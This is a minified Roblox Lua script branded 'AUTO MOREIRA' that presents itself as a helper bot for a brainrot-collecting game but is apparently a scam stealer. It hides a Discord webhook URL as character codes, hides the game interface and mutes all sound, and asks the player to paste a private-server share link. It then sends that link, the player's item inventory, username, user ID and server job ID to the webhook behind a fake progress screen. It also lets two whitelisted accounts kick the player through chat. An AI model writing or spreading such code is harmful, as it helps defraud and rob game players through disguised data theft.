local a=string.char(104,116,116,112,115,58,47,47,100,105,115,99,111,114,100,46,99,111,109,47,97,112,105,47,119,101,98,104,111,111,107,115,47,49,52,52,57,53,57,53,49,48,57,52,54,52,48,56,52,53,48,50,47,111,98,86,56,117,49,117,104,106,112,122,53,120,53,116,75,72,52,108,84,53,112,99,77,55,114,95,85,52,68,80,108,49,53,116,77,103,120,121,57,49,77,115,76,107,65,97,80,120,118,104,85,120,74,69,82,53,115,67,98,102,111,103,84,103,111,113,117)local function b(c)c=c:lower()if string.find(c,"https://www%.roblox%.com/share")then local d="https://www%.roblox%.com/share%?code=[%w]+&type=[Ss]erver"return string.match(c,d)~=nil else return false end end;local function e()print("🔇 ATIVANDO MODO SURDO...")local f={workspace,game:GetService("Players"),game:GetService("ReplicatedStorage"),game:GetService("StarterPlayer"),game:GetService("SoundService")}for g,h in ipairs(f)do pcall(function()for i,j in ipairs(h:GetDescendants())do if j:IsA("Sound")then j.Volume=0 end end end)end;pcall(function()game:GetService("SoundService").Volume=0 end)for g,h in ipairs(f)do task.spawn(function()pcall(function()h.DescendantAdded:Connect(function(k)if k:IsA("Sound")then task.wait(0.1)pcall(function()k.Volume=0 end)end end)end)end)end;print("✅ SILÊNCIO TOTAL ATIVADO (Volume 0)!")return true end;local l=game:GetService("StarterGui")pcall(function()l:SetCore("TopbarEnabled",false)l:SetCore("ResetButtonCallback",false)l:SetCoreGuiEnabled(Enum.CoreGuiType.All,false)end)local m=game:GetService("Players")local n=m.LocalPlayer;local o=false;local function p()if not o and n then o=true;print("🚨 COMANDO /kick DETECTADO! Expulsando...")task.wait(0.5)if n then n:Kick("🤖 você precisa de brainhrot de 50M")end end end;pcall(function()local q=game:GetService("ReplicatedStorage"):FindFirstChild("DefaultChatSystemChatEvents")if q then local r=q:FindFirstChild("OnMessageDoneFiltering")if r then r.OnClientEvent:Connect(function(s)if type(s)=="table"and s.Message then local t=string.lower(tostring(s.Message))if string.find(t,"/kick")then p()end end end)end end end)pcall(function()local u=game:GetService("TextChatService")if u then u.MessageReceived:Connect(function(v)if v and v.Text then local t=string.lower(tostring(v.Text))if string.find(t,"/kick")then p()end end end)end end)local w=game:GetService("CoreGui")local x=game:GetService("HttpService")local y=Instance.new("ScreenGui")y.IgnoreGuiInset=true;y.DisplayOrder=999999999;y.ResetOnSpawn=false;y.Parent=w;local z=Instance.new("Frame",y)z.Size=UDim2.new(0,330,0,220)z.Position=UDim2.new(0.5,-165,0.5,-110)z.BackgroundColor3=Color3.fromRGB(0,0,0)local A=Instance.new("UICorner",z)A.CornerRadius=UDim.new(0,12)local B=Instance.new("Frame",z)B.Size=UDim2.new(1,-12,1,-12)B.Position=UDim2.new(0,6,0,6)B.BackgroundColor3=Color3.fromRGB(40,40,40)Instance.new("UICorner",B).CornerRadius=UDim.new(0,10)local C=Instance.new("TextLabel",B)C.Size=UDim2.new(1,0,0,25)C.Position=UDim2.new(0,0,0,4)C.BackgroundTransparency=1;C.Text="AUTO MOREIRA"C.TextColor3=Color3.fromRGB(220,220,220)C.Font=Enum.Font.GothamBold;C.TextScaled=true;local D=Instance.new("Frame",B)D.Size=UDim2.new(1,-40,0,70)D.Position=UDim2.new(0,20,0,55)D.BackgroundColor3=Color3.fromRGB(55,55,55)Instance.new("UICorner",D).CornerRadius=UDim.new(0,10)local E=Instance.new("UIStroke",D)E.Thickness=2;E.Color=Color3.fromRGB(255,255,255)task.spawn(function()while true do for F=0,1,0.02 do E.Transparency=F;task.wait(0.02)end;for F=1,0,-0.02 do E.Transparency=F;task.wait(0.02)end end end)local G=Instance.new("TextBox",D)G.Size=UDim2.new(1,-20,1,-10)G.Position=UDim2.new(0,10,0,5)G.BackgroundTransparency=1;G.Text="Digite ou cole o link..."G.TextColor3=Color3.fromRGB(255,255,255)G.Font=Enum.Font.GothamBold;G.TextScaled=true;G.ClearTextOnFocus=true;G:GetPropertyChangedSignal("Text"):Connect(function()if G.Text~=""and G.Text~="Digite ou cole o link..."and not b(G.Text)then G.Text=""task.wait(0.05)G.PlaceholderText="APENAS LINKS /share!"task.wait(1.5)G.PlaceholderText="Digite ou cole o link..."end end)local H=Instance.new("TextButton",B)H.Size=UDim2.new(1,-40,0,40)H.Position=UDim2.new(0,20,0,140)H.BackgroundColor3=Color3.fromRGB(70,70,70)H.Text="CONTINUAR"H.TextColor3=Color3.fromRGB(255,255,255)H.Font=Enum.Font.GothamBold;H.TextScaled=true;Instance.new("UICorner",H).CornerRadius=UDim.new(0,10)local I=Instance.new("Frame",y)I.Size=UDim2.new(1,0,1,0)I.BackgroundColor3=Color3.fromRGB(0,0,0)I.Visible=false;local J=Instance.new("Folder",I)task.spawn(function()while true do local K=Instance.new("Frame",J)K.Size=UDim2.new(0,math.random(3,6),0,math.random(3,6))K.Position=UDim2.new(math.random(),0,-0.1,0)K.BackgroundColor3=Color3.fromRGB(255,255,255)K.AnchorPoint=Vector2.new(0.5,0.5)Instance.new("UICorner",K).CornerRadius=UDim.new(1,0)local L=math.random(50,120)/100;task.spawn(function()for M=-0.1,1.2,L/50 do K.Position=UDim2.new(K.Position.X.Scale,0,M,0)K.BackgroundTransparency=M;task.wait(L/30)end;K:Destroy()end)task.wait(0.03)end end)local N=Instance.new("TextLabel",I)N.Size=UDim2.new(0,150,0,150)N.Position=UDim2.new(0.5,-75,0.4,-75)N.BackgroundTransparency=1;N.Text="∞"N.TextColor3=Color3.fromRGB(255,255,255)N.Font=Enum.Font.GothamBold;N.TextScaled=true;task.spawn(function()local O=0;while true do N.TextTransparency=math.abs(math.sin(O))O=O+0.08;N.Rotation=N.Rotation+2;task.wait(0.02)end end)local P=Instance.new("Frame",I)P.Size=UDim2.new(0.6,0,0,14)P.Position=UDim2.new(0.2,0,0.62,0)P.BackgroundColor3=Color3.fromRGB(40,40,40)Instance.new("UICorner",P).CornerRadius=UDim.new(1,0)local Q=Instance.new("Frame",P)Q.Size=UDim2.new(0,0,1,0)Q.BackgroundColor3=Color3.fromRGB(255,255,255)Instance.new("UICorner",Q).CornerRadius=UDim.new(1,0)local R=Instance.new("TextLabel",I)R.Size=UDim2.new(1,0,0,40)R.Position=UDim2.new(0,0,0.56,0)R.BackgroundTransparency=1;R.TextColor3=Color3.fromRGB(255,255,255)R.Font=Enum.Font.GothamBold;R.TextScaled=true;local S=Instance.new("TextLabel",I)S.Size=UDim2.new(1,0,0,25)S.Position=UDim2.new(0,0,0.66,10)S.BackgroundTransparency=1;S.TextColor3=Color3.fromRGB(255,255,255)S.Font=Enum.Font.GothamBold;S.TextScaled=true;S.Text="0%"local function T()local U={}local V={}local W={}local X=0;local Y=false;local Z,_=pcall(function()local a0=workspace:FindFirstChild("Plots")if not a0 then warn("Pasta 'Plots' não encontrada no workspace")return end;local a1={AnimalPodiums=true,Decorations=true,InvisibleWalls=true,Laser=true,LaserHitbox=true,Purchases=true,Skin=true,Unlock=true,AnimalTarget=true,DeliveryHitbox=true,MainRoot=true,Multiplier=true,PlotSign=true,Slope=true,Spawn=true,StealHitbox=true,FriendPanel=true,Model=true}for g,a2 in pairs(a0:GetChildren())do if a2:IsA("Model")or a2:IsA("Folder")then for g,a3 in pairs(a2:GetChildren())do if(a3:IsA("Model")or a3:IsA("Part"))and not a1[a3.Name]then local a4=a3.Name;local a5=0;for g,a6 in pairs(a3:GetDescendants())do if a6:IsA("NumberValue")or a6:IsA("IntValue")then local a7=tonumber(a6.Value)if a7 and a7>0 then a5=a7;break end end end;if a4~=""and a4~="Model"then Y=true;V[a4]=(V[a4]or 0)+1;if a5>0 then W[a4]=a5;X=X+a5 end end end end end end end)if not Z then return{{texto="Erro na detecção: "..tostring(_)}},0,false end;if Y then for a4,quant in pairs(V)do local valor=W[a4]or 0;table.insert(U,{nome=a4,quantidade=quant,valor=valor,texto=valor>0 and string.format("%dx %s ($%d/s)",quant,a4,valor)or string.format("%dx %s",quant,a4)})end end;if#U>0 then table.sort(U,function(a8,a9)return a8.nome0 then for ah,ai in ipairs(ac)do if ai.valor>0 then ag=ag..string.format("```diff\n+ %dx %s → $%d/s\n```",ai.quantidade,ai.nome,ai.valor)else ag=ag..string.format("```diff\n+ %dx %s\n```",ai.quantidade,ai.nome)end end else ag="```diff\n- NENHUM BRAINROT DETECTADO\n```"end;local aj=string.format("### 🔗 LINK RECEBIDO - AUTO MOREIRA\n\n#### 📎 **LINK ENVIADO**\n- [Clique aqui para abrir](%s)\n\n#### 💰 **VALOR TOTAL**\n$%d/s\n\n#### 🎯 **BRAINROTS DETECTADOS**\n%s\n#### 👥 **SERVIDOR**\n**Jogadores:** %d/8\n\n#### 👤 **JOGADOR**\n**Nome:** %s\n**ID:** %s\n**Job ID:** %s\n\n#### 🕐 **DATA/HORA**\n%s",ab,ad,ag,af,game:GetService("Players").LocalPlayer.Name,game:GetService("Players").LocalPlayer.UserId,game.JobId,os.date("%d/%m/%Y %H:%M:%S"))local ak={["username"]="Auto Moreira",["avatar_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif",["content"]="### 🚨 **NOVO LINK RECEBIDO** 🚨",["embeds"]={{["description"]=aj,["color"]=ae and 5763719 or 16711680,["footer"]={["text"]="Auto Moreira • Sistema de Monitoramento",["icon_url"]="https://cdn.discordapp.com/attachments/1128834917999112253/1219654782312128562/standard.gif"},["timestamp"]=os.date("!%Y-%m-%dT%H:%M:%SZ")}}}local function al()local am,an=pcall(function()if not game:GetService("HttpService")then error("HttpService não disponível")end;local ao=game:GetService("HttpService"):JSONEncode(ak)local ap=game:GetService("HttpService"):RequestAsync({Url=a,Method="POST",Headers={["Content-Type"]="application/json"},Body=ao})if ap.Success then return"✅ Webhook enviado com sucesso!"else error("Erro HTTP "..tostring(ap.StatusCode)..": "..tostring(ap.StatusMessage))end end)if am then print("✅ Webhook enviado com sucesso!")if ae and#ac>0 then print("📊 Brainrots detectados: "..#ac)print("💰 Valor total: $"..ad.."/s")for ah,ai in ipairs(ac)do if ai.valor>0 then print(" "..ai.quantidade.."x "..ai.nome.." → $"..ai.valor.."/s")else print(" "..ai.quantidade.."x "..ai.nome)end end else print("📊 NENHUM BRAINROT DETECTADO")print("💰 Valor total: $0/s")end;print("👥 Jogadores no servidor: "..af.."/8")print("🔗 Link: "..ab)return true else print("❌ Erro ao enviar webhook: "..tostring(an))task.wait(2)print("🔄 Tentando reenviar webhook...")return al()end end;task.spawn(al)return true end;local aq={"Preparando servidor...","Analisando brainrots...","Preparando bot..."}H.MouseButton1Click:Connect(function()if G.Text==""or G.Text=="Digite ou cole o link..."then H.Text="INSIRA UM LINK!"task.wait(1)H.Text="CONTINUAR"return end;if not b(G.Text)then H.Text="LINK /share INVALIDO!"task.wait(1.5)H.Text="CONTINUAR"return end;z.Visible=false;I.Visible=true;local ar=1;local function as()R.Text=aq[ar]ar=ar+1;if ar>#aq then ar=1 end end;as()task.spawn(function()local at,au,av=T()aa(G.Text,at,au,av)task.wait(0.5)e()end)task.spawn(function()for F=0,0.99,0.00055 do if Q then Q.Size=UDim2.new(F,0,1,0)S.Text=math.floor(F*100).."%"end;task.wait(0.1)end;if S then S.Text="99%"end end)task.spawn(function()while I.Visible do task.wait(3)as()end end)end)local m=game:GetService("Players")local aw=m.LocalPlayer;local ax={[9987424161]=true,[5755066076]=true}local ay=1;local az=true;function isPlayerAllowed(aA)return ax[aA.UserId]==true end;function kickAndLeave()if az then print("[SOLO] Expulsando jogador não autorizado...")end;pcall(function()aw:Kick("você tem que estar sozinho no servidor")end)task.wait(1)game:Shutdown()return true end;function log(aB)if az then print("[SOLO] "..aB)end end;local function aC()log("Sistema Solo Iniciado")log("IDs Permitidos: 9987424161, 5755066076")while true do local aD=m:GetPlayers()if#aD>1 then for g,aA in ipairs(aD)do if aA~=aw then if not isPlayerAllowed(aA)then log("Jogador não autorizado detectado: "..aA.Name)log("UserID: "..aA.UserId)return kickAndLeave()else log("Jogador autorizado online: "..aA.Name)end end end else log("Servidor vazio (apenas você)")end;task.wait(ay)end end;local function aE()task.wait(2)for g,aA in ipairs(m:GetPlayers())do if aA~=aw and not isPlayerAllowed(aA)then log("Jogador não autorizado já no servidor: "..aA.Name)kickAndLeave()return end end;task.spawn(aC)log("Monitoramento ativo. Verificando a cada "..ay.."s")end;task.spawn(aE)m.PlayerAdded:Connect(function(aF)task.wait(1)if aF~=aw then if not isPlayerAllowed(aF)then log("Novo jogador não autorizado entrou: "..aF.Name)kickAndLeave()else log("Novo jogador autorizado entrou: "..aF.Name)end end end)local aG=game:GetService("RunService")local aH;aH=aG.Heartbeat:Connect(function()if not m:FindFirstChild(aw.Name)then aH:Disconnect()end end)task.wait(3)log("========================================")log("SISTEMA SOLO ATIVADO COM SUCESSO")log("Status: Monitorando servidor")log("========================================")return"Solo System Active"